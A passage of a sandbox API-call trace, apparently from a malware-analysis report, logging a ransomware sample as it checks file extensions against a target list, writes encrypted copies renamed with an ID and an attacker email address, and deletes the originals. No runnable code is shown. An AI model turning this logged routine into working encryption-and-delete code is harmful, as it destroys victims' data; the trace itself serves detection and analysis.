[0043.361] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.361] lstrlenW (lpString=".ppt") returned 4 [0043.361] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0043.361] lstrlenW (lpString=".zip") returned 4 [0043.361] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.361] lstrlenW (lpString=".rar") returned 4 [0043.361] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.361] lstrlenW (lpString=".bz2") returned 4 [0043.361] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.361] lstrlenW (lpString=".7z") returned 3 [0043.361] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0043.361] lstrlenW (lpString=".dbf") returned 4 [0043.362] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.362] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0043.362] lstrlenW (lpString=".1cd") returned 4 [0043.362] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.362] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0043.362] lstrlenW (lpString=".jpg") returned 4 [0043.362] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.362] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0043.362] lstrlenW (lpString="LocalizedData.xml") returned 17 [0043.362] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0043.362] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=68226) returned 1 [0043.362] CloseHandle (hObject=0x368) returned 1 [0043.363] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 0x80 [0043.363] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.363] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0043.363] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.363] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.363] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0043.363] GetLastError () returned 0x0 [0043.363] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x10a82, lpOverlapped=0x0) returned 1 [0043.585] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x10a90, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x10a90, lpOverlapped=0x0) returned 1 [0043.586] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.586] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xf6, lpOverlapped=0x0) returned 1 [0043.587] SetEndOfFile (hFile=0x36c) returned 1 [0043.587] CloseHandle (hObject=0x36c) returned 1 [0043.588] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.588] SetEndOfFile (hFile=0x368) returned 1 [0043.589] CloseHandle (hObject=0x368) returned 1 [0043.589] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.589] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 1 [0043.590] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0043.590] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0043.590] lstrlenW (lpString=".doc") returned 4 [0043.590] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.590] lstrlenW (lpString=".docx") returned 5 [0043.590] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0043.590] lstrlenW (lpString=".pdf") returned 4 [0043.590] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.590] lstrlenW (lpString=".xls") returned 4 [0043.590] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.590] lstrlenW (lpString=".xlsx") returned 5 [0043.590] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0043.590] lstrlenW (lpString=".ppt") returned 4 [0043.590] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.590] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0043.590] lstrlenW (lpString=".zip") returned 4 [0043.590] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.590] lstrlenW (lpString=".rar") returned 4 [0043.590] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.590] lstrlenW (lpString=".bz2") returned 4 [0043.590] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.590] lstrlenW (lpString=".7z") returned 3 [0043.590] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.590] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0043.590] lstrlenW (lpString=".dbf") returned 4 [0043.591] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.591] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0043.591] lstrlenW (lpString=".1cd") returned 4 [0043.591] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.591] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0043.591] lstrlenW (lpString=".jpg") returned 4 [0043.591] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.591] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0043.591] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0043.591] lstrlenW (lpString=".doc") returned 4 [0043.591] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.591] lstrlenW (lpString=".docx") returned 5 [0043.591] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0043.591] lstrlenW (lpString=".pdf") returned 4 [0043.591] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.591] lstrlenW (lpString=".xls") returned 4 [0043.591] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.591] lstrlenW (lpString=".xlsx") returned 5 [0043.591] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0043.591] lstrlenW (lpString=".ppt") returned 4 [0043.591] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.591] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0043.591] lstrlenW (lpString=".zip") returned 4 [0043.591] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.592] lstrlenW (lpString=".rar") returned 4 [0043.592] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.592] lstrlenW (lpString=".bz2") returned 4 [0043.592] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.592] lstrlenW (lpString=".7z") returned 3 [0043.592] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.592] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0043.592] lstrlenW (lpString=".dbf") returned 4 [0043.592] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.592] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0043.592] lstrlenW (lpString=".1cd") returned 4 [0043.592] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.592] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0043.592] lstrlenW (lpString=".jpg") returned 4 [0043.592] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.592] lstrcmpiW (lpString1=".rtf", lpString2=".btix") returned 1 [0043.592] lstrlenW (lpString="eula.rtf") returned 8 [0043.592] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0043.593] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=3546) returned 1 [0043.593] CloseHandle (hObject=0x368) returned 1 [0043.593] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 0x80 [0043.593] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.593] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0043.593] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.593] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.593] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0043.594] GetLastError () returned 0x0 [0043.594] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0xdda, lpOverlapped=0x0) returned 1 [0043.637] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xde0, lpOverlapped=0x0) returned 1 [0043.638] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.638] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xe4, lpOverlapped=0x0) returned 1 [0043.638] SetEndOfFile (hFile=0x36c) returned 1 [0043.639] CloseHandle (hObject=0x36c) returned 1 [0043.639] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.639] SetEndOfFile (hFile=0x368) returned 1 [0043.640] CloseHandle (hObject=0x368) returned 1 [0043.640] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.640] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 1 [0043.641] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0043.641] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0043.641] lstrlenW (lpString=".doc") returned 4 [0043.641] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.641] lstrlenW (lpString=".docx") returned 5 [0043.641] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.641] lstrlenW (lpString=".pdf") returned 4 [0043.641] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.641] lstrlenW (lpString=".xls") returned 4 [0043.641] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.641] lstrlenW (lpString=".xlsx") returned 5 [0043.641] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.641] lstrlenW (lpString=".ppt") returned 4 [0043.641] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.641] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0043.641] lstrlenW (lpString=".zip") returned 4 [0043.641] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.641] lstrlenW (lpString=".rar") returned 4 [0043.641] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.641] lstrlenW (lpString=".bz2") returned 4 [0043.641] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.641] lstrlenW (lpString=".7z") returned 3 [0043.641] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.641] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0043.641] lstrlenW (lpString=".dbf") returned 4 [0043.641] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.641] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0043.641] lstrlenW (lpString=".1cd") returned 4 [0043.641] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.641] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0043.641] lstrlenW (lpString=".jpg") returned 4 [0043.641] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.641] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0043.641] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0043.641] lstrlenW (lpString=".doc") returned 4 [0043.642] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.642] lstrlenW (lpString=".docx") returned 5 [0043.642] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.642] lstrlenW (lpString=".pdf") returned 4 [0043.642] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.642] lstrlenW (lpString=".xls") returned 4 [0043.642] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.642] lstrlenW (lpString=".xlsx") returned 5 [0043.642] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.642] lstrlenW (lpString=".ppt") returned 4 [0043.642] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0043.642] lstrlenW (lpString=".zip") returned 4 [0043.642] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.642] lstrlenW (lpString=".rar") returned 4 [0043.642] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.642] lstrlenW (lpString=".bz2") returned 4 [0043.642] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.642] lstrlenW (lpString=".7z") returned 3 [0043.642] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0043.642] lstrlenW (lpString=".dbf") returned 4 [0043.642] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0043.642] lstrlenW (lpString=".1cd") returned 4 [0043.642] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0043.642] lstrlenW (lpString=".jpg") returned 4 [0043.642] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.642] lstrcmpiW (lpString1=".rtf", lpString2=".btix") returned 1 [0043.642] lstrlenW (lpString="eula.rtf") returned 8 [0043.642] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0043.643] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=3046) returned 1 [0043.643] CloseHandle (hObject=0x368) returned 1 [0043.643] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 0x80 [0043.643] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.643] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0043.643] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.643] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.643] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0043.643] GetLastError () returned 0x0 [0043.643] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0xbe6, lpOverlapped=0x0) returned 1 [0043.669] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xbf0, lpOverlapped=0x0) returned 1 [0043.670] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.670] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xe4, lpOverlapped=0x0) returned 1 [0043.670] SetEndOfFile (hFile=0x36c) returned 1 [0043.670] CloseHandle (hObject=0x36c) returned 1 [0043.671] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.671] SetEndOfFile (hFile=0x368) returned 1 [0043.671] CloseHandle (hObject=0x368) returned 1 [0043.671] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.672] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 1 [0043.672] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0043.672] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0043.672] lstrlenW (lpString=".doc") returned 4 [0043.672] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.672] lstrlenW (lpString=".docx") returned 5 [0043.672] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.672] lstrlenW (lpString=".pdf") returned 4 [0043.672] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.672] lstrlenW (lpString=".xls") returned 4 [0043.672] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.672] lstrlenW (lpString=".xlsx") returned 5 [0043.672] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.672] lstrlenW (lpString=".ppt") returned 4 [0043.672] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.672] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0043.672] lstrlenW (lpString=".zip") returned 4 [0043.672] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.672] lstrlenW (lpString=".rar") returned 4 [0043.672] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.672] lstrlenW (lpString=".bz2") returned 4 [0043.672] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.672] lstrlenW (lpString=".7z") returned 3 [0043.673] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0043.673] lstrlenW (lpString=".dbf") returned 4 [0043.673] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0043.673] lstrlenW (lpString=".1cd") returned 4 [0043.673] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0043.673] lstrlenW (lpString=".jpg") returned 4 [0043.673] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0043.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0043.673] lstrlenW (lpString=".doc") returned 4 [0043.673] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.673] lstrlenW (lpString=".docx") returned 5 [0043.673] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.673] lstrlenW (lpString=".pdf") returned 4 [0043.673] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.673] lstrlenW (lpString=".xls") returned 4 [0043.673] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.673] lstrlenW (lpString=".xlsx") returned 5 [0043.673] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.673] lstrlenW (lpString=".ppt") returned 4 [0043.673] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0043.673] lstrlenW (lpString=".zip") returned 4 [0043.673] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.673] lstrlenW (lpString=".rar") returned 4 [0043.673] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.673] lstrlenW (lpString=".bz2") returned 4 [0043.673] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.673] lstrlenW (lpString=".7z") returned 3 [0043.673] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0043.673] lstrlenW (lpString=".dbf") returned 4 [0043.673] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0043.674] lstrlenW (lpString=".1cd") returned 4 [0043.674] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0043.674] lstrlenW (lpString=".jpg") returned 4 [0043.674] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.674] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0043.674] lstrlenW (lpString="LocalizedData.xml") returned 17 [0043.674] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0043.674] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=82374) returned 1 [0043.674] CloseHandle (hObject=0x368) returned 1 [0043.674] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 0x80 [0043.674] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.674] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0043.674] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.674] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, 